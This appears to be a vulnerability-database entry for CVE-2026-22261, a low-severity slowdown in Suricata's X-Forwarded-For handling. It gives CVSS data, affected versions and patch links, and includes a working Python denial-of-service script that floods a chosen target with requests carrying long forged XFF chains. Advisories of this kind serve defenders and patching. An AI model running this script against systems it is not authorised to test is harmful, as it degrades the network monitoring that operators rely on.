Security Vulnerability Report
中文
CVE-2026-22261 CVSS 3.7 LOW

CVE-2026-22261

Published: 2026-01-27 19:16:14
Last Modified: 2026-01-29 21:02:35

Description

Suricata is a network IDS, IPS and NSM engine. Prior to versions 8.0.3 and 7.0.14, various inefficiencies in xff handling, especially for alerts not triggered in a tx, can lead to severe slowdowns. Versions 8.0.3 and 7.0.14 contain a patch. As a workaround, disable XFF support in the eve configuration. The setting is disabled by default.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:* - VULNERABLE
Suricata < 7.0.14
Suricata < 8.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-22261 PoC - Suricata XFF DoS This PoC demonstrates the performance issue in Suricata's XFF handling. Note: This is for educational and authorized testing purposes only. """ import socket import time import sys def send_malicious_http_request(target_ip, target_port, xff_value): """ Send HTTP request with crafted X-Forwarded-For header to trigger inefficient XFF processing in Suricata. """ # Craft HTTP request with multiple IP addresses in XFF header # This causes excessive string parsing operations in Suricata http_request = f"GET / HTTP/1.1\r\n" http_request += f"Host: {target_ip}\r\n" http_request += f"X-Forwarded-For: {xff_value}\r\n" http_request += "Connection: close\r\n\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) sock.send(http_request.encode()) response = sock.recv(4096) sock.close() return True except Exception as e: print(f"Error: {e}") return False def generate_xff_chain(num_ips): """ Generate XFF header value with multiple IP addresses. More IPs = more processing time in vulnerable Suricata versions. """ ips = [f"10.0.{i}.{j}" for i in range(256) for j in range(num_ips // 256 + 1)][:num_ips] return ", ".join(ips) def main(): if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <target_port>") print("Example: python3 poc.py 192.168.1.100 80") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) print(f"[*] CVE-2026-22261 PoC - Suricata XFF DoS") print(f"[*] Target: {target_ip}:{target_port}") # Generate XFF header with many IPs to stress test XFF parsing xff_value = generate_xff_chain(100) print(f"[*] Sending HTTP requests with XFF chain ({len(xff_value)} bytes)...") start_time = time.time() request_count = 0 # Send multiple requests to amplify the performance impact for i in range(100): if send_malicious_http_request(target_ip, target_port, xff_value): request_count += 1 if i % 10 == 0: print(f"[*] Sent {i} requests...") elapsed = time.time() - start_time print(f"[+] Completed: {request_count} requests in {elapsed:.2f} seconds") print("[*] Check Suricata CPU usage - it should be elevated if vulnerable") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22261", "sourceIdentifier": "[email protected]", "published": "2026-01-27T19:16:14.173", "lastModified": "2026-01-29T21:02:34.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Suricata is a network IDS, IPS and NSM engine. Prior to versions 8.0.3 and 7.0.14, various inefficiencies in xff handling, especially for alerts not triggered in a tx, can lead to severe slowdowns. Versions 8.0.3 and 7.0.14 contain a patch. As a workaround, disable XFF support in the eve configuration. The setting is disabled by default."}, {"lang": "es", "value": "Suricata es un motor de red IDS, IPS y NSM. Antes de las versiones 8.0.3 y 7.0.14, varias ineficiencias en el manejo de xff, especialmente para alertas no activadas en una tx, pueden provocar ralentizaciones graves. Las versiones 8.0.3 y 7.0.14 contienen un parche. Como solución alternativa, deshabilite el soporte XFF en la configuración de eve. La configuración está deshabilitada por defecto."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1050"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.0.14", "matchCriteriaId": "5302B0F0-AF2D-4140-BC66-9186EF7E455D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.3", "matchCriteriaId": "E7DA8362-52A2-4ACC-83F7-CA2E77AE89C6"}]}]}], "references": [{"url": "https://github.com/OISF/suricata/commit/3f0725b34c7871c2de4346c8af872f10f4501e44", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OISF/suricata/commit/af246ae7ab1b70c09f83c0619b253095ccc18667", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OISF/suricata/security/advisories/GHSA-5jvg-5j3p-34cf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://redmine.openinfosecfoundation.org/issues/8156", "source": "[email protected]", "tags": ["Permissions Required"]}]}}